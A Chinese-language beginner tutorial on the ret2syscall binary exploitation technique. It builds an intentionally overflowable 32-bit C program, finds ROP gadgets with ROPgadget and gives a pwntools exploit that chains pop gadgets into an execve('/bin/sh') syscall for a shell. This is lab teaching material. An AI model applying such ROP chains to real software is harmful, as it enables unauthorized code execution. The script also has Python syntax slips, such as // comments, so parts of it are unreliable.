對於初學pwn的同學來說,在學習ret2syscall的時候,看到其原理爲“控制程序執行系統調用,獲取 shell”,那麼怎麼理解“控制程序執行系統調用,獲取 shell”這句話呢?

0×01 背景知識

1、rop:在棧緩衝區溢出的基礎上,利用程序中已有的小片段 (gadgets) 來改變某些寄存器或者變量的值,從而控制程序的執行流程。

2、gadgets:在程序中的指令片段,有時我們爲了達到我們執行命令的目的,需要多個gadget來完成我們的功能。gadget最後一般都有ret,因爲我們需要將程序控制權(EIP)給下一個gadget。即讓程序自動持續的選擇堆棧中的指令依次執行。

3、ropgadgets:一個pwntools的一個命令行工具,用來具體尋找gadgets的。例如:我們從pop、ret序列當中尋找其中的eax

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

4、在linux系統中,函數的調用是有一個系統調用號的。我們實驗要調用的execve(“/bin/sh”,null,null)函數其系統調用號是11,即十六進制0xb。

0×02 原理詳解

這裏需要重點理解“系統調用”,從 https://blog.csdn.net/qq_33948522/article/details/93880812 瞭解到系統調用的原理。

對於初學pwn的同學來說,怎麼理解上面的知識呢?我們不妨拿execve(“/bin/sh”,null,null)這個函數來理解上面內容。首先,其函數的調用過程爲:

系統調用號,即 eax 應該爲 0xb
第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
第二個參數,即 ecx 應該爲 0
第三個參數,即 edx 應該爲 0

系統在運行的時候會使用上面四個寄存器,所以那麼上面內容我們可以寫爲int 0×80(eax,ebx,ecx,edx)。只要我們把對應獲取 shell 的系統調用的參數放到對應的寄存器中,那麼我們再執行 int 0×80 就可執行對應的系統調用。

但是我們該怎麼控制這些寄存器的值?

在我們最開始學習彙編函數的時候,我們最常用到的就是push,pop,ret指令,而這一次我們將使用pop和ret的組合來控制寄存器的值以及執行方向。例如:在一個棧上,假設棧頂的值爲2,當我們pop eax,時,2就會存進eax寄存器。同樣的,我們可以用同樣的方法完成execve()函數參數的控制

pop eax# 系統調用號載入, execve爲0xb
pop ebx# 第一個參數, /bin/sh的string
pop ecx# 第二個參數,0
pop edx# 第三個參數,0

這樣寄存器的值可以控制了。然後使用gadgets讓這一連串的pop命令順序連接執行 ,最後使用的ret指令 ,進而控制程序執行流程。

0×03  實例分析

這是我們的實驗程序7.c,裏面func函數里的read函數會發生溢出。

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}

將其編譯,不使用堆棧保護,且需要設置成靜態編譯即-static,否則將找不到這個程序的指令流。

gcc -no-pie -fno-stack-protector  -static -m32  -o 7.exe 7.c

找出其溢出位置:

通過ROPgadget這個工具來獲取7.exe中這些指令的位置。

從pop、ret序列當中尋找其中的eax

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

從pop、ret序列當中尋找其中的ebx、ecx、dex

ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx" 

找”/bin/sh”這個字符串的地址

ROPgadget --binary ./7.exe --string "/bin/sh"

int中斷找”0×80″

ROPgadget --binary ./7.exe --only "int"|grep "0x80"

寫出exp

from pwn import *

context(arch="i386",os="linux")

p=process('./7.exe')

offset = 44//溢出位置

add_eax=p32(0x080aaa06)// pop eax ; ret 的地址

value_eax=p32(0xb) //eax的值是0xb

add_edx_ecx_ebx=p32(0x0806f711)//pop edx;pop ecx; pop ebx ;ret 的地址

value_ebx=p32(0x080ae008)//ebx指向/bin/sh的地址

value_ecx=p32(0)//ecx的值爲0

value_edx=p32(0)//edx的值爲0

add_int=p32(0x0804a3d2)

payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int

p.sendline(payload)

p.interactive()

成功getsehll

相關文章